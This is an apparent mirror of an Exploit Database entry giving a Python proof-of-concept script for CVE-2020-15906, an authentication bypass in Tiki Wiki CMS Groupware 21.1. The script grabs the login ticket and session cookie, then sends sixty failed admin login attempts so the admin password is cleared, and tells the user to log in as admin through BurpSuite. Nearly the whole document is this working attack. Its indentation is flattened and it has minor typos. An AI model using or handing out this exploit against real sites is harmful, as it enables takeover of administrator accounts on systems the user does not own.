Tiki Wiki CMS Groupware 21.1 – Authentication Bypass

• Exploit Database
• 105 阅读

• 作者： Maximilian Barz
  日期： 2020-10-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48927/

• # Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
  # Date: 01.08.2020 (1st August 2020)
  # Exploit Author: Maximilian Barz aka. Silky
  # Vendor Homepage: tiki.org
  # Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
  # Version: 21.1
  # Tested on: Kali Linux 5.7.0-kali1-amd64
  
  #!/usr/bin/env/python3
  import requests
  import json
  import lxml.html
  import sys
  
  banner = ''' 
  
  ████████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██  ██  
     ██    ██ ██  ██  ██ ██ ██ ██ ██  ██  ██      ██ ███ ███  
   ██  ██ █████   ██ ██  █  ██ ██ █████   ██  █████   ██  ██  
   ██  ██ ██  ██  ██ ██ ███ ██ ██ ██  ██  ██ ██     ██  ██  
   ██  ██ ██ ██ ██  ███ ███  ██ ██ ██ ██ ███████  ██ ██ ██  
                                                            
  
   █████  ██  ██ ████████ ██ ██ ███████ ███  ██ ████████ ██  ██████  █████  ████████ ██  ██████  ███  ██ ██████  ██  ██ ██████ █████  ███████ ███████ 
  ██   ██ ██  ██    ██    ██ ██ ██      ████ ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ████ ██ ██   ██  ██  ██  ██   ██ ██   ██ ██      ██      
  ███████ ██  ██  ██  ███████ █████ ██ ██  ██  ██  ██ ██  ███████  ██  ██ ██  ██ ██ ██  ██ ██████    ████   ██████  ███████ ███████ ███████ 
  ██   ██ ██  ██  ██  ██   ██ ██    ██  ██ ██  ██  ██ ██  ██   ██  ██  ██ ██  ██ ██  ██ ██ ██   ██  ██  ██      ██   ██      ██      ██ 
  ██ ██  ██████   ██  ██ ██ ███████ ██   ████  ██  ██  ██████ ██ ██  ██  ██  ██████  ██   ████   ██████   ██  ██  ██ ██ ███████ ███████ 
                                                                                                                                      
  Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
  '''
  
  
  
  
  def main():
  if(len(sys.argv) < 2):
  print(banner)
  print("Usage: %s <host> " % sys.argv[0])
  print("Eg:%s 1.2.3.4 " % sys.argv[0])
  return
  
  
  rhost = sys.argv[1]
  url = "http://"+rhost+"/tiki/tiki-login.php"
  
  session = requests.Session()
  
  def get_ticket():
  r = requests.get(url)
  login_page = r.text.encode('utf-8') 
  html = lxml.html.fromstring(login_page) 
  auth = html.xpath('//input[@name="ticket"]/@value')
  
  return str(auth)[2:-2]
  
  def get_cookie():
  session.get(url)
  return session.cookies.get_dict()
  
  
  cookie = get_cookie()
  ticket = get_ticket()
  
  payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
  headers = {
  'Host': rhost,
  'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'Accept-Language': 'en-US,en;q=0.5',
  'Accept-Encoding': 'gzrhost, deflate',
  'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
  'Content-Type': 'application/x-www-form-urlencoded',
  'Content-Length': '125',
  'Connection': 'close',
  'Upgrade-Insecure-Requests': '1',
  'Cache-Control': 'max-age=0',
  }
  
  
  for i in range(60):
  r = session.post(url, payload, headers)
  if("Account requires administrator approval." in r.text):
  print("Admin Password got removed.")
  print("Use BurpSuite to login into admin without a password ")
  
  
  
  if(__name__ == '__main__'):
  main()